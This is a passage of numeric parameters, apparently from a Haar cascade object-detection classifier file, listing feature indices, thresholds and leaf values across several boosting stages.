1.4554800093173981e-01 + <_> + + 0 -1 359 1.8356999382376671e-02 + + 4.4750999659299850e-02 -1.0766370296478271e+00 + <_> + + 0 -1 360 3.5275001078844070e-02 + + -3.2919000834226608e-02 1.2153890132904053e+00 + <_> + + 0 -1 361 -2.0392900705337524e-01 + + -1.3187999725341797e+00 1.5503999777138233e-02 + <_> + + 0 -1 362 -1.6619000583887100e-02 + + 3.6850199103355408e-01 -1.5283699333667755e-01 + <_> + + 0 -1 363 3.7739001214504242e-02 + + -2.5727799534797668e-01 7.0655298233032227e-01 + <_> + + 0 -1 364 2.2720000706613064e-03 + + -7.7602997422218323e-02 3.3367800712585449e-01 + <_> + + 0 -1 365 -1.4802999794483185e-02 + + -7.8524798154830933e-01 7.6934002339839935e-02 + <_> + + 0 -1 366 -4.8319000750780106e-02 + + 1.7022320032119751e+00 4.9722000956535339e-02 + <_> + + 0 -1 367 -2.9539000242948532e-02 + + 7.7670699357986450e-01 -2.4534299969673157e-01 + <_> + + 0 -1 368 -4.6169001609086990e-02 + + -1.4922779798507690e+00 1.2340000271797180e-01 + <_> + + 0 -1 369 -2.8064999729394913e-02 + + -2.1345369815826416e+00 -2.5797000154852867e-02 + <_> + + 0 -1 370 -5.7339998893439770e-03 + + 5.6982600688934326e-01 -1.2056600302457809e-01 + <_> + + 0 -1 371 -1.0111000388860703e-02 + + 6.7911398410797119e-01 -2.6638001203536987e-01 + <_> + + 0 -1 372 1.1359999887645245e-02 + + 2.4789799749851227e-01 -6.4493000507354736e-01 + <_> + + 0 -1 373 5.1809001713991165e-02 + + 1.4716000296175480e-02 -1.2395579814910889e+00 + <_> + + 0 -1 374 3.3291999250650406e-02 + + -8.2559995353221893e-03 1.0168470144271851e+00 + <_> + + 0 -1 375 -1.4494000002741814e-02 + + 4.5066800713539124e-01 -3.6250999569892883e-01 + <_> + + 0 -1 376 -3.4221999347209930e-02 + + -9.5292502641677856e-01 2.0684599876403809e-01 + <_> + + 0 -1 377 -8.0654002726078033e-02 + + -2.0139501094818115e+00 -2.3084999993443489e-02 + <_> + + 0 -1 378 -8.9399999706074595e-04 + + 3.9572000503540039e-01 -2.9351300001144409e-01 + <_> + + 0 -1 379 9.7162000834941864e-02 + + -2.4980300664901733e-01 1.0859220027923584e+00 + <_> + + 0 -1 380 3.6614000797271729e-02 + + -5.7844001799821854e-02 1.2162159681320190e+00 + <_> + + 0 -1 381 5.1693998277187347e-02 + + 4.3062999844551086e-02 -1.0636160373687744e+00 + <_> + + 0 -1 382 -2.4557000026106834e-02 + + -4.8946800827980042e-01 1.7182900011539459e-01 + <_> + + 0 -1 383 3.2736799120903015e-01 + + -2.9688599705696106e-01 5.1798301935195923e-01 + <_> + + 0 -1 384 7.6959999278187752e-03 + + -5.9805899858474731e-01 2.4803200364112854e-01 + <_> + + 0 -1 385 1.6172200441360474e-01 + + -2.9613999649882317e-02 -2.3162529468536377e+00 + <_> + + 0 -1 386 -4.7889999113976955e-03 + + 3.7457901239395142e-01 -3.2779198884963989e-01 + <_> + + 0 -1 387 -1.8402999266982079e-02 + + -9.9692702293395996e-01 7.2948001325130463e-02 + <_> + + 0 -1 388 7.7665001153945923e-02 + + 1.4175699651241302e-01 -1.7238730192184448e+00 + <_> + + 0 -1 389 1.8921000882983208e-02 + + -2.1273100376129150e-01 1.0165189504623413e+00 + <_> + + 0 -1 390 -7.9397998750209808e-02 + + -1.3164349794387817e+00 1.4981999993324280e-01 + <_> + + 0 -1 391 -6.8037003278732300e-02 + + 4.9421998858451843e-01 -2.9091000556945801e-01 + <_> + + 0 -1 392 -6.1010001227259636e-03 + + 4.2430499196052551e-01 -3.3899301290512085e-01 + <_> + + 0 -1 393 3.1927000731229782e-02 + + -3.1046999618411064e-02 -2.3459999561309814e+00 + <_> + + 0 -1 394 -2.9843999072909355e-02 + + -7.8989601135253906e-01 1.5417699515819550e-01 + <_> + + 0 -1 395 -8.0541998147964478e-02 + + -2.2509229183197021e+00 -3.0906999483704567e-02 + <_> + + 0 -1 396 3.8109999150037766e-03 + + -2.5577300786972046e-01 2.3785500228404999e-01 + <_> + + 0 -1 397 3.3647000789642334e-02 + + -2.2541399300098419e-01 9.2307400703430176e-01 + <_> + + 0 -1 398 8.2809999585151672e-03 + + -2.8896200656890869e-01 3.1046199798583984e-01 + <_> + + 0 -1 399 1.0104399919509888e-01 + + -3.4864000976085663e-02 -2.7102620601654053e+00 + <_> + + 0 -1 400 -1.0009000077843666e-02 + + 5.9715402126312256e-01 -3.3831000328063965e-02 + <_> + + 0 -1 401 7.1919998154044151e-03 + + -4.7738000750541687e-01 2.2686000168323517e-01 + <_> + + 0 -1 402 2.4969000369310379e-02 + + 2.2877700626850128e-01 -1.0435529947280884e+00 + <_> + + 0 -1 403 2.7908000349998474e-01 + + -2.5818100571632385e-01 7.6780498027801514e-01 + <_> + + 0 -1 404 -4.4213000684976578e-02 + + -5.9798002243041992e-01 2.8039899468421936e-01 + <_> + + 0 -1 405 -1.4136999845504761e-02 + + 7.0987302064895630e-01 -2.5645199418067932e-01 + <_> + 91 + -3.6478610038757324e+00 + + <_> + + 0 -1 406 1.3771200180053711e-01 + + -5.5870598554611206e-01 1.0953769683837891e+00 + <_> + + 0 -1 407 3.4460999071598053e-02 + + -7.1171897649765015e-01 5.2899599075317383e-01 + <_> + + 0 -1 408 1.8580000847578049e-02 + + -1.1157519817352295e+00 4.0593999624252319e-01 + <_> + + 0 -1 409 2.5041999295353889e-02 + + -4.0892499685287476e-01 7.4129998683929443e-01 + <_> + + 0 -1 410 5.7179000228643417e-02 + + -3.8054299354553223e-01 7.3647701740264893e-01 + <_> + + 0 -1 411 1.4932000078260899e-02 + + -6.9945502281188965e-01 3.7950998544692993e-01 + <_> + + 0 -1 412 8.8900001719594002e-03 + + -5.4558598995208740e-01 3.6332499980926514e-01 + <_> + + 0 -1 413 3.0435999855399132e-02 + + -1.0124599933624268e-01 7.9585897922515869e-01 + <_> + + 0 -1 414 -4.4160000979900360e-02 + + 8.4410899877548218e-01 -3.2976400852203369e-01 + <_> + + 0 -1 415 1.8461000174283981e-02 + + 2.6326599717140198e-01 -9.6736502647399902e-01 + <_> + + 0 -1 416 1.0614999569952488e-02 + + 1.5251900255680084e-01 -1.0589870214462280e+00 + <_> + + 0 -1 417 -4.5974001288414001e-02 + + -1.9918340444564819e+00 1.3629099726676941e-01 + <_> + + 0 -1 418 8.2900002598762512e-02 + + -3.2037198543548584e-01 6.0304200649261475e-01 + <_> + + 0 -1 419 -8.9130001142621040e-03 + + 5.9586602449417114e-01 -2.1139599382877350e-01 + <_> + + 0 -1 420 4.2814001441001892e-02 + + 2.2925000637769699e-02 -1.4679330587387085e+00 + <_> + + 0 -1 421 -8.7139997631311417e-03 + + -4.3989500403404236e-01 2.0439699292182922e-01 + <_> + + 0 -1 422 -4.3390002101659775e-03 + + -8.9066797494888306e-01 1.0469999909400940e-01 + <_> + + 0 -1 423 8.0749997869133949e-03 + + 2.1164199709892273e-01 -4.0231600403785706e-01 + <_> + + 0 -1 424 9.6739001572132111e-02 + + 1.3319999910891056e-02 -1.6085360050201416e+00 + <_> + + 0 -1 425 -3.0536999925971031e-02 + + 1.0063740015029907e+00 -1.3413299620151520e-01 + <_> + + 0 -1 426 -6.0855999588966370e-02 + + -1.4689979553222656e+00 9.4240000471472740e-03 + <_> + + 0 -1 427 -3.8162000477313995e-02 + + -8.1636399030685425e-01 2.6171201467514038e-01 + <_> + + 0 -1 428 -9.6960002556443214e-03 + + 1.1561699956655502e-01 -7.1693199872970581e-01 + <_> + + 0 -1 429 4.8902999609708786e-02 + + 1.3050499558448792e-01 -1.6448370218276978e+00 + <_> + + 0 -1 430 -4.1611999273300171e-02 + + -1.1795840263366699e+00 2.5017000734806061e-02 + <_> + + 0 -1 431 -2.0188000053167343e-02 + + 6.3188201189041138e-01 -1.0490400344133377e-01 + <_> + + 0 -1 432 -9.7900000400841236e-04 + + 1.8507799506187439e-01 -5.3565901517868042e-01 + <_> + + 0 -1 433 -3.3622000366449356e-02 + + -9.3127602338790894e-01 2.0071500539779663e-01 + <_> + + 0 -1 434 1.9455999135971069e-02 + + 3.8029000163078308e-02 -1.0112210512161255e+00 + <_> + + 0 -1 435 -3.1800000579096377e-04 + + 3.6457699537277222e-01 -2.7610900998115540e-01 + <_> + + 0 -1 436 -3.8899999344721437e-04 + + 1.9665899872779846e-01 -5.3410500288009644e-01 + <_> + + 0 -1 437 -9.3496002256870270e-02 + + -1.6772350072860718e+00 2.0727099478244781e-01 + <_> + + 0 -1 438 -7.7877998352050781e-02 + + -3.0760629177093506e+00 -3.5803999751806259e-02 + <_> + + 0 -1 439 1.6947999596595764e-02 + + 2.1447399258613586e-01 -7.1376299858093262e-01 + <_> + + 0 -1 440 -2.1459000185132027e-02 + + -1.1468060016632080e+00 1.5855999663472176e-02 + <_> + + 0 -1 441 -1.2865999713540077e-02 + + 8.3812397718429565e-01 -6.5944001078605652e-02 + <_> + + 0 -1 442 7.8220004215836525e-03 + + -2.8026801347732544e-01 7.9376900196075439e-01 + <_> + + 0 -1 443 1.0294400155544281e-01 + + 1.7832300066947937e-01 -6.8412202596664429e-01 + <_> + + 0 -1 444 -3.7487998604774475e-02 + + 9.6189999580383301e-01 -2.1735599637031555e-01 + <_> + + 0 -1 445 2.5505999103188515e-02 + + 1.0103999637067318e-02 1.2461110353469849e+00 + <_> + + 0 -1 446 6.6700001480057836e-04 + + -5.3488200902938843e-01 1.4746299386024475e-01 + <_> + + 0 -1 447 -2.8867900371551514e-01 + + 8.2172799110412598e-01 -1.4948000200092793e-02 + <_> + + 0 -1 448 9.1294996440410614e-02 + + -1.9605399668216705e-01 1.0803170204162598e+00 + <_> + + 0 -1 449 1.2056600302457809e-01 + + -2.3848999291658401e-02 1.1392610073089600e+00 + <_> + + 0 -1 450 -7.3775000870227814e-02 + + -1.3583840131759644e+00 -4.2039998807013035e-03 + <_> + + 0 -1 451 -3.3128000795841217e-02 + + -6.4483201503753662e-01 2.4142199754714966e-01 + <_> + + 0 -1 452 -4.3937001377344131e-02 + + 8.4285402297973633e-01 -2.0624800026416779e-01 + <_> + + 0 -1 453 1.8110199272632599e-01 + + 1.9212099909782410e-01 -1.2222139835357666e+00 + <_> + + 0 -1 454 -1.1850999668240547e-02 + + -7.2677397727966309e-01 5.2687998861074448e-02 + <_> + + 0 -1 455 4.5920000411570072e-03 + + -3.6305201053619385e-01 2.9223799705505371e-01 + <_> + + 0 -1 456 7.0620002225041389e-03 + + 5.8116000145673752e-02 -6.7161601781845093e-01 + <_> + + 0 -1 457 -2.3715000599622726e-02 + + 4.7142100334167480e-01 1.8580000847578049e-02 + <_> + + 0 -1 458 -6.7171998322010040e-02 + + -1.1331889629364014e+00 2.3780999705195427e-02 + <_> + + 0 -1 459 -6.5310001373291016e-02 + + 9.8253500461578369e-01 2.8362000361084938e-02 + <_> + + 0 -1 460 2.2791000083088875e-02 + + -2.8213700652122498e-01 5.8993399143218994e-01 + <_> + + 0 -1 461 -1.9037999212741852e-02 + + -6.3711500167846680e-01 2.6514598727226257e-01 + <_> + + 0 -1 462 -6.8689999170601368e-03 + + 3.7487301230430603e-01 -3.3232098817825317e-01 + <_> + + 0 -1 463 -4.0146000683307648e-02 + + -1.3048729896545410e+00 1.5724299848079681e-01 + <_> + + 0 -1 464 -4.0530998259782791e-02 + + -2.0458049774169922e+00 -2.6925999671220779e-02 + <_> + + 0 -1 465 -1.2253999710083008e-02 + + 7.7649402618408203e-01 -4.2971000075340271e-02 + <_> + + 0 -1 466 -2.7219999581575394e-02 + + 1.7424400150775909e-01 -4.4600901007652283e-01 + <_> + + 0 -1 467 -8.8366001844406128e-02 + + -1.5036419630050659e+00 1.4289900660514832e-01 + <_> + + 0 -1 468 -7.9159997403621674e-03 + + 2.8666698932647705e-01 -3.7923699617385864e-01 + <_> + + 0 -1 469 -4.1960000991821289e-02 + + 1.3846950531005859e+00 6.5026998519897461e-02 + <_> + + 0 -1 470 4.5662999153137207e-02 + + -2.2452299296855927e-01 7.9521000385284424e-01 + <_> + + 0 -1 471 -1.4090600609779358e-01 + + -1.5879319906234741e+00 1.1359000205993652e-01 + <_> + + 0 -1 472 -5.9216000139713287e-02 + + -1.1945960521697998e+00 -7.1640000678598881e-03 + <_> + + 0 -1 473 4.3390002101659775e-03 + + -1.5528699755668640e-01 4.0664499998092651e-01 + <_> + + 0 -1 474 -2.0369999110698700e-03 + + 2.5927901268005371e-01 -3.8368299603462219e-01 + <_> + + 0 -1 475 2.7516499161720276e-01 + + -8.8497996330261230e-02 7.6787501573562622e-01 + <_> + + 0 -1 476 -2.6601999998092651e-02 + + 7.5024497509002686e-01 -2.2621999680995941e-01 + <_> + + 0 -1 477 4.0906000882387161e-02 + + 1.2158600240945816e-01 -1.4566910266876221e+00 + <_> + + 0 -1 478 5.5320002138614655e-03 + + -3.6611500382423401e-01 2.5968599319458008e-01 + <_> + + 0 -1 479 3.1879000365734100e-02 + + -7.5019001960754395e-02 4.8484799265861511e-01 + <_> + + 0 -1 480 -4.1482001543045044e-02 + + 7.8220397233963013e-01 -2.1992200613021851e-01 + <_> + + 0 -1 481 -9.6130996942520142e-02 + + -8.9456301927566528e-01 1.4680700004100800e-01 + <_> + + 0 -1 482 -1.1568999849259853e-02 + + 8.2714098691940308e-01 -2.0275600254535675e-01 + <_> + + 0 -1 483 1.8312999978661537e-02 + + 1.6367999836802483e-02 2.7306801080703735e-01 + <_> + + 0 -1 484 -3.4166000783443451e-02 + + 1.1307320594787598e+00 -1.8810899555683136e-01 + <_> + + 0 -1 485 -2.4476999416947365e-02 + + -5.7791298627853394e-01 1.5812499821186066e-01 + <_> + + 0 -1 486 4.8957001417875290e-02 + + -2.2564999759197235e-02 -1.6373280286788940e+00 + <_> + + 0 -1 487 -2.0702999085187912e-02 + + -5.4512101411819458e-01 2.4086999893188477e-01 + <_> + + 0 -1 488 -2.3002000525593758e-02 + + -1.2236540317535400e+00 -7.3440000414848328e-03 + <_> + + 0 -1 489 6.4585000276565552e-02 + + 1.4695599675178528e-01 -4.4967499375343323e-01 + <_> + + 0 -1 490 1.2666000053286552e-02 + + -2.7873900532722473e-01 4.3876600265502930e-01 + <_> + + 0 -1 491 -1.2002999894320965e-02 + + -2.4289099872112274e-01 2.5350099802017212e-01 + <_> + + 0 -1 492 -2.6443999260663986e-02 + + -8.5864800214767456e-01 2.6025999337434769e-02 + <_> + + 0 -1 493 -2.5547999888658524e-02 + + 6.9287902116775513e-01 -2.1160000469535589e-03 + <_> + + 0 -1 494 3.9115000516176224e-02 + + -1.6589100658893585e-01 1.5209139585494995e+00 + <_> + + 0 -1 495 -6.0330000706017017e-03 + + 4.3856900930404663e-01 -2.1613700687885284e-01 + <_> + + 0 -1 496 -3.3936999738216400e-02 + + -9.7998398542404175e-01 2.2133000195026398e-02 + <_> + 99 + -3.8700489997863770e+00 + + <_> + + 0 -1 497 4.0672998875379562e-02 + + -9.0474700927734375e-01 6.4410597085952759e-01 + <_> + + 0 -1 498 2.5609999895095825e-02 + + -7.9216998815536499e-01 5.7489997148513794e-01 + <_> + + 0 -1 499 1.9959500432014465e-01 + + -3.0099600553512573e-01 1.3143850564956665e+00 + <_> + + 0 -1 500 1.2404999695718288e-02 + + -8.9882999658584595e-01 2.9205799102783203e-01 + <_> + + 0 -1 501 3.9207998663187027e-02 + + -4.1955199837684631e-01 5.3463298082351685e-01 + <_> + + 0 -1 502 -3.0843999236822128e-02 + + 4.5793399214744568e-01 -4.4629099965095520e-01 + <_> + + 0 -1 503 -3.5523001104593277e-02 + + 9.1310501098632812e-01 -2.7373200654983521e-01 + <_> + + 0 -1 504 -6.1650000512599945e-02 + + -1.4697799682617188e+00 2.0364099740982056e-01 + <_> + + 0 -1 505 -1.1739999987185001e-02 + + -1.0482879877090454e+00 6.7801997065544128e-02 + <_> + + 0 -1 506 6.6933996975421906e-02 + + 2.9274499416351318e-01 -5.2282899618148804e-01 + <_> + + 0 -1 507 -2.0631000399589539e-02 + + -1.2855139970779419e+00 4.4550999999046326e-02 + <_> + + 0 -1 508 -2.2357000038027763e-02 + + -8.5753798484802246e-01 1.8434000015258789e-01 + <_> + + 0 -1 509 1.1500000255182385e-03 + + 1.6405500471591949e-01 -6.9125002622604370e-01 + <_> + + 0 -1 510 3.5872999578714371e-02 + + 1.5756499767303467e-01 -8.4262597560882568e-01 + <_> + + 0 -1 511 3.0659999698400497e-02 + + 2.1637000143527985e-02 -1.3634690046310425e+00 + <_> + + 0 -1 512 5.5559999309480190e-03 + + -1.6737000644207001e-01 2.5888401269912720e-01 + <_> + + 0 -1 513 -6.1160000041127205e-03 + + -9.7271800041198730e-01 6.6100001335144043e-02 + <_> + + 0 -1 514 -3.0316999182105064e-02 + + 9.8474198579788208e-01 -1.6448000445961952e-02 + <_> + + 0 -1 515 -9.7200004383921623e-03 + + 4.7604700922966003e-01 -3.2516700029373169e-01 + <_> + + 0 -1 516 -5.7126998901367188e-02 + + -9.5920699834823608e-01 1.9938200712203979e-01 + <_> + + 0 -1 517 4.0059997700154781e-03 + + -5.2612501382827759e-01 2.2428700327873230e-01 + <_> + + 0 -1 518 3.3734001219272614e-02 + + 1.7070099711418152e-01 -1.0737580060958862e+00 + <_> + + 0 -1 519 -3.4641999751329422e-02 + + -1.1343129873275757e+00 3.6540001630783081e-02 + <_> + + 0 -1 520 4.6923000365495682e-02 + + 2.5832301378250122e-01 -7.1535801887512207e-01 + <_> + + 0 -1 521 -8.7660001590847969e-03 + + 1.9640900194644928e-01 -5.3355097770690918e-01 + <_> + + 0 -1 522 6.5627999603748322e-02 + + -5.1194999366998672e-02 9.7610700130462646e-01 + <_> + + 0 -1 523 -4.4165000319480896e-02 + + 1.0631920099258423e+00 -2.3462599515914917e-01 + <_> + + 0 -1 524 1.7304999753832817e-02 + + -1.8582899868488312e-01 4.5889899134635925e-01 + <_> + + 0 -1 525 3.3135998994112015e-02 + + -2.9381999745965004e-02 -2.6651329994201660e+00 + <_> + + 0 -1 526 -2.1029999479651451e-02 + + 9.9979901313781738e-01 2.4937000125646591e-02 + <_> + + 0 -1 527 2.9783999547362328e-02 + + -2.9605999588966370e-02 -2.1695868968963623e+00 + <_> + + 0 -1 528 5.5291999131441116e-02 + + -7.5599999399855733e-04 7.4651998281478882e-01 + <_> + + 0 -1 529 -3.3597998321056366e-02 + + -1.5274159908294678e+00 1.1060000397264957e-02 + <_> + + 0 -1 530 1.9602999091148376e-02 + + 3.3574998378753662e-02 9.9526202678680420e-01 + <_> + + 0 -1 531 -2.0787000656127930e-02 + + 7.6612901687622070e-01 -2.4670800566673279e-01 + <_> + + 0 -1 532 3.2536000013351440e-02 + + 1.6263400018215179e-01 -6.1134302616119385e-01 + <_> + + 0 -1 533 -1.0788000188767910e-02 + + -9.7839701175689697e-01 2.8969999402761459e-02 + <_> + + 0 -1 534 -9.9560003727674484e-03 + + 4.6145799756050110e-01 -1.3510499894618988e-01 + <_> + + 0 -1 535 -3.7489999085664749e-03 + + 2.5458198785781860e-01 -5.1955598592758179e-01 + <_> + + 0 -1 536 -4.1779998689889908e-02 + + -8.0565100908279419e-01 1.5208500623703003e-01 + <_> + + 0 -1 537 -3.4221000969409943e-02 + + -1.3137799501419067e+00 -3.5800000187009573e-03 + <_> + + 0 -1 538 1.0130000300705433e-02 + + 2.0175799727439880e-01 -6.1339598894119263e-01 + <_> + + 0 -1 539 -8.9849002659320831e-02 + + 9.7632801532745361e-01 -2.0884799957275391e-01 + <_> + + 0 -1 540 2.6097999885678291e-02 + + -1.8807999789714813e-01 4.7705799341201782e-01 + <_> + + 0 -1 541 -3.7539999466389418e-03 + + -6.7980402708053589e-01 1.1288800090551376e-01 + <_> + + 0 -1 542 3.1973000615835190e-02 + + 1.8951700627803802e-01 -1.4967479705810547e+00 + <_> + + 0 -1 543 1.9332999363541603e-02 + + -2.3609900474548340e-01 8.1320500373840332e-01 + <_> + + 0 -1 544 1.9490000559017062e-03 + + 2.4830399453639984e-01 -6.9211997091770172e-02 + <_> + + 0 -1 545 -4.4146999716758728e-02 + + -1.0418920516967773e+00 4.8053000122308731e-02 + <_> + + 0 -1 546 -4.4681999832391739e-02 + + 5.1346302032470703e-01 -7.3799998499453068e-03 + <_> + + 0 -1 547 -1.0757499933242798e-01 + + 1.6202019453048706e+00 -1.8667599558830261e-01 + <_> + + 0 -1 548 -1.2846800684928894e-01 + + 2.9869480133056641e+00 9.5427997410297394e-02 + <_> + + 0 -1 549 -4.4757999479770660e-02 + + 6.0405302047729492e-01 -2.7058699727058411e-01 + <_> + + 0 -1 550 -4.3990999460220337e-02 + + -6.1790502071380615e-01 1.5997199714183807e-01 + <_> + + 0 -1 551 -1.2268999963998795e-01 + + 6.6327202320098877e-01 -2.3636999726295471e-01 + <_> + + 0 -1 552 -1.9982999190688133e-02 + + -1.1228660345077515e+00 1.9616700708866119e-01 + <_> + + 0 -1 553 -1.5527999959886074e-02 + + -1.0770269632339478e+00 2.0693000406026840e-02 + <_> + + 0 -1 554 -4.8971001058816910e-02 + + 8.1168299913406372e-01 -1.7252000048756599e-02 + <_> + + 0 -1 555 5.5975999683141708e-02 + + -2.2529000416398048e-02 -1.7356760501861572e+00 + <_> + + 0 -1 556 -9.8580000922083855e-03 + + 6.7881399393081665e-01 -5.8180000633001328e-02 + <_> + + 0 -1 557 1.3481000438332558e-02 + + 5.7847999036312103e-02 -7.7255302667617798e-01 + <_> + + 0 -1 558 6.5609999001026154e-03 + + -1.3146899640560150e-01 6.7055797576904297e-01 + <_> + + 0 -1 559 7.1149999275803566e-03 + + -3.7880599498748779e-01 3.0978998541831970e-01 + <_> + + 0 -1 560 4.8159998841583729e-03 + + -5.8470398187637329e-01 2.5602099299430847e-01 + <_> + + 0 -1 561 9.5319999381899834e-03 + + -3.0217000842094421e-01 4.1253298521041870e-01 + <_> + + 0 -1 562 -2.7474999427795410e-02 + + 5.9154701232910156e-01 1.7963999882340431e-02 + <_> + + 0 -1 563 -3.9519999176263809e-02 + + 9.6913498640060425e-01 -2.1020300686359406e-01 + <_> + + 0 -1 564 -3.0658999457955360e-02 + + 9.1155898571014404e-01 4.0550000965595245e-02 + <_> + + 0 -1 565 -1.4680000022053719e-03 + + -6.0489797592163086e-01 1.6960899531841278e-01 + <_> + + 0 -1 566 1.9077600538730621e-01 + + 4.3515000492334366e-02 8.1892901659011841e-01 + <_> + + 0 -1 567 5.1790000870823860e-03 + + -9.3617302179336548e-01 2.4937000125646591e-02 + <_> + + 0 -1 568 2.4126000702381134e-02 + + 1.8175500631332397e-01 -3.4185901284217834e-01 + <_> + + 0 -1 569 -2.6383999735116959e-02 + + -1.2912579774856567e+00 -3.4280000254511833e-03 + <_> + + 0 -1 570 5.4139997810125351e-03 + + -4.6291999518871307e-02 2.5269600749015808e-01 + <_> + + 0 -1 571 5.4216001182794571e-02 + + -1.2848000042140484e-02 -1.4304540157318115e+00 + <_> + + 0 -1 572 2.3799999326001853e-04 + + -2.6676699519157410e-01 3.3588299155235291e-01 + <_> + + 0 -1 573 1.5216999687254429e-02 + + -5.1367300748825073e-01 1.3005100190639496e-01 + <_> + + 0 -1 574 1.7007999122142792e-02 + + 4.1575899720191956e-01 -3.1241199374198914e-01 + <_> + + 0 -1 575 3.0496999621391296e-02 + + -2.4820999801158905e-01 7.0828497409820557e-01 + <_> + + 0 -1 576 6.5430002287030220e-03 + + -2.2637000679969788e-01 1.9184599816799164e-01 + <_> + + 0 -1 577 1.4163999259471893e-01 + + 6.5227001905441284e-02 -8.8809502124786377e-01 + <_> + + 0 -1 578 1.9338000565767288e-02 + + 1.8891200423240662e-01 -2.7397701144218445e-01 + <_> + + 0 -1 579 -1.7324000597000122e-02 + + -9.4866698980331421e-01 2.4196999147534370e-02 + <_> + + 0 -1 580 -6.2069999985396862e-03 + + 3.6938399076461792e-01 -1.7494900524616241e-01 + <_> + + 0 -1 581 -1.6109000891447067e-02 + + 9.6159499883651733e-01 -2.0005300641059875e-01 + <_> + + 0 -1 582 -1.0122500360012054e-01 + + -3.0699110031127930e+00 1.1363799870014191e-01 + <_> + + 0 -1 583 -7.5509999878704548e-03 + + 2.2921000421047211e-01 -4.5645099878311157e-01 + <_> + + 0 -1 584 4.4247999787330627e-02 + + -3.1599999056197703e-04 3.9225301146507263e-01 + <_> + + 0 -1 585 -1.1636000126600266e-01 + + 9.5233702659606934e-01 -2.0201599597930908e-01 + <_> + + 0 -1 586 4.7360002063214779e-03 + + -9.9177002906799316e-02 2.0370499789714813e-01 + <_> + + 0 -1 587 2.2459000349044800e-02 + + 8.7280003353953362e-03 -1.0217070579528809e+00 + <_> + + 0 -1 588 -1.2109000235795975e-02 + + 6.4812600612640381e-01 -9.0149000287055969e-02 + <_> + + 0 -1 589 5.6120000779628754e-02 + + -3.6759998649358749e-02 -1.9275590181350708e+00 + <_> + + 0 -1 590 -8.7379999458789825e-03 + + 6.9261300563812256e-01 -6.8374998867511749e-02 + <_> + + 0 -1 591 6.6399998031556606e-03 + + -4.0569800138473511e-01 1.8625700473785400e-01 + <_> + + 0 -1 592 -1.8131999298930168e-02 + + -6.4518201351165771e-01 2.1976399421691895e-01 + <_> + + 0 -1 593 -2.2718999534845352e-02 + + 9.7776198387145996e-01 -1.8654300272464752e-01 + <_> + + 0 -1 594 1.2705000117421150e-02 + + -1.0546600073575974e-01 3.7404099106788635e-01 + <_> + + 0 -1 595 -1.3682999648153782e-02 + + 6.1064100265502930e-01 -2.6881098747253418e-01 + <_> + 115 + -3.7160909175872803e+00 + + <_> + + 0 -1 596 3.1357999891042709e-02 + + -1.0183910131454468e+00 5.7528597116470337e-01 + <_> + + 0 -1 597 9.3050003051757812e-02 + + -4.1297501325607300e-01 1.0091199874877930e+00 + <_> + + 0 -1 598 2.5949999690055847e-02 + + -5.8587902784347534e-01 5.6606197357177734e-01 + <_> + + 0 -1 599 1.6472000628709793e-02 + + -9.2857497930526733e-01 3.0924499034881592e-01 + <_> + + 0 -1 600 -1.8779999809339643e-03 + + 1.1951000243425369e-01 -1.1180130243301392e+00 + <_> + + 0 -1 601 -9.0129999443888664e-03 + + -5.7849502563476562e-01 3.3154401183128357e-01 + <_> + + 0 -1 602 2.2547999396920204e-02 + + -3.8325101137161255e-01 5.2462202310562134e-01 + <_> + + 0 -1 603 -3.7780001759529114e-02 + + 1.1790670156478882e+00 -3.4166999161243439e-02 + <_> + + 0 -1 604 -5.3799999877810478e-03 + + -8.6265897750854492e-01 1.1867900192737579e-01 + <_> + + 0 -1 605 -2.3893000558018684e-02 + + -7.4950599670410156e-01 2.1011400222778320e-01 + <_> + + 0 -1 606 -2.6521999388933182e-02 + + 9.2128598690032959e-01 -2.8252801299095154e-01 + <_> + + 0 -1 607 1.2280000373721123e-02 + + 2.6662799715995789e-01 -7.0013600587844849e-01 + <_> + + 0 -1 608 9.6594996750354767e-02 + + -2.8453999757766724e-01 7.3168998956680298e-01 + <_> + + 0 -1 609 -2.7414999902248383e-02 + + -6.1492699384689331e-01 1.5576200187206268e-01 + <_> + + 0 -1 610 -1.5767000615596771e-02 + + 5.7551199197769165e-01 -3.4362199902534485e-01 + <_> + + 0 -1 611 -2.1100000012665987e-03 + + 3.2599699497222900e-01 -1.3008299469947815e-01 + <_> + + 0 -1 612 1.2006999924778938e-02 + + 8.9322999119758606e-02 -9.6025598049163818e-01 + <_> + + 0 -1 613 -1.5421999618411064e-02 + + 3.4449499845504761e-01 -4.6711999177932739e-01 + <_> + + 0 -1 614 -4.1579999960958958e-03 + + 2.3696300387382507e-01 -5.2563297748565674e-01 + <_> + + 0 -1 615 -2.1185999736189842e-02 + + -7.4267697334289551e-01 2.1702000498771667e-01 + <_> + + 0 -1 616 -1.7077000811696053e-02 + + -9.0471798181533813e-01 6.6012002527713776e-02 + <_> + + 0 -1 617 -4.0849998593330383e-02 + + -3.4446600079536438e-01 2.1503700315952301e-01 + <_> + + 0 -1 618 -8.1930002197623253e-03 + + -9.3388599157333374e-01 5.0471000373363495e-02 + <_> + + 0 -1 619 -1.9238000735640526e-02 + + -5.3203701972961426e-01 1.7240600287914276e-01 + <_> + + 0 -1 620 -4.4192001223564148e-02 + + 9.2075002193450928e-01 -2.2148500382900238e-01 + <_> + + 0 -1 621 -6.2392000108957291e-02 + + -7.1053802967071533e-01 1.8323899805545807e-01 + <_> + + 0 -1 622 -1.0079999919980764e-03 + + -8.7063097953796387e-01 5.5330000817775726e-02 + <_> + + 0 -1 623 2.3870000615715981e-02 + + -2.2854200005531311e-01 5.2415597438812256e-01 + <_> + + 0 -1 624 2.1391000598669052e-02 + + -3.0325898528099060e-01 5.5860602855682373e-01 + <_> + + 0 -1 625 2.0254999399185181e-02 + + 2.6901501417160034e-01 -7.0261800289154053e-01 + <_> + + 0 -1 626 -2.8772000223398209e-02 + + -1.1835030317306519e+00 4.6512000262737274e-02 + <_> + + 0 -1 627 3.4199999645352364e-03 + + -5.4652100801467896e-01 2.5962498784065247e-01 + <_> + + 0 -1 628 5.6983001530170441e-02 + + -2.6982900500297546e-01 5.8170700073242188e-01 + <_> + + 0 -1 629 -9.3892000615596771e-02 + + -9.1046398878097534e-01 1.9677700102329254e-01 + <_> + + 0 -1 630 1.7699999734759331e-02 + + -4.4003298878669739e-01 2.1349500119686127e-01 + <_> + + 0 -1 631 2.2844199836254120e-01 + + 2.3605000227689743e-02 7.7171599864959717e-01 + <_> + + 0 -1 632 -1.8287500739097595e-01 + + 7.9228597879409790e-01 -2.4644799530506134e-01 + <_> + + 0 -1 633 -6.9891996681690216e-02 + + 8.0267798900604248e-01 -3.6072000861167908e-02 + <_> + + 0 -1 634 1.5297000296413898e-02 + + -2.0072300732135773e-01 1.1030600070953369e+00 + <_> + + 0 -1 635 